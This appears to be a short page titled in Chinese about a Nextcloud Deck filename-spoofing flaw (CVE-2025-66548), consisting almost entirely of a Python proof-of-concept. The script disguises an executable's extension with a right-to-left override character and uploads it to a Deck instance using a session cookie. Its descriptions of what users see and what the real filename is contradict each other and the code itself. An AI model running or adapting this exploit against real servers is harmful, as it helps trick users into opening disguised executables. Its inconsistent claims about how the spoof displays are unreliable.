Nextcloud Deck文件扩展名欺骗漏洞（CVE-2025-66548）

import requests import urllib.parse # CVE-2025-66548 PoC - File Extension Spoofing in Nextcloud Deck # RTLO character: U+202E (Right-to-Left Override) def create_spoofed_filename(): """ Generate a spoofed filename using RTLO character. Example: 'document.pdf' + RTLO + '.exe' displays as 'document.pdfxe' """ rtlo_char = '\u202e' # Creating filename that appears as .pdf but is actually .exe spoofed_name = f'document.pdf{rtlo_char}exe' return spoofed_name def exploit_nextcloud_deck(base_url, session_cookie): """ Exploit the RTLO file spoofing vulnerability in Nextcloud Deck. Args: base_url: Nextcloud instance URL session_cookie: Valid session cookie for authentication Returns: bool: True if upload successful, False otherwise """ headers = { 'Cookie': f'nc_session={session_cookie}', 'X-Requested-With': 'XMLHttpRequest' } spoofed_filename = create_spoofed_filename() # Malicious executable content malicious_content = b'MZ' + b'\x00' * 100 # Minimal PE header files = { 'files[]': (spoofed_filename, malicious_content, 'application/octet-stream') } upload_url = f'{base_url}/apps/deck/api/v1.0/attachments' try: response = requests.post( upload_url, headers=headers, files=files, verify=False ) if response.status_code == 200: print(f'[+] Successfully uploaded: {spoofed_filename}') print(f'[+] Users will see: document.pdf') print(f'[-] Actual file: document.pdf.exe') return True else: print(f'[-] Upload failed: {response.status_code}') return False except Exception as e: print(f'[-] Error: {str(e)}') return False # Usage example if __name__ == '__main__': # Replace with actual values BASE_URL = 'https://nextcloud.example.com' SESSION_COOKIE = 'your-session-cookie-here' print('CVE-2025-66548 - Nextcloud Deck RTLO File Spoofing') print('=' * 50) exploit_nextcloud_deck(BASE_URL, SESSION_COOKIE)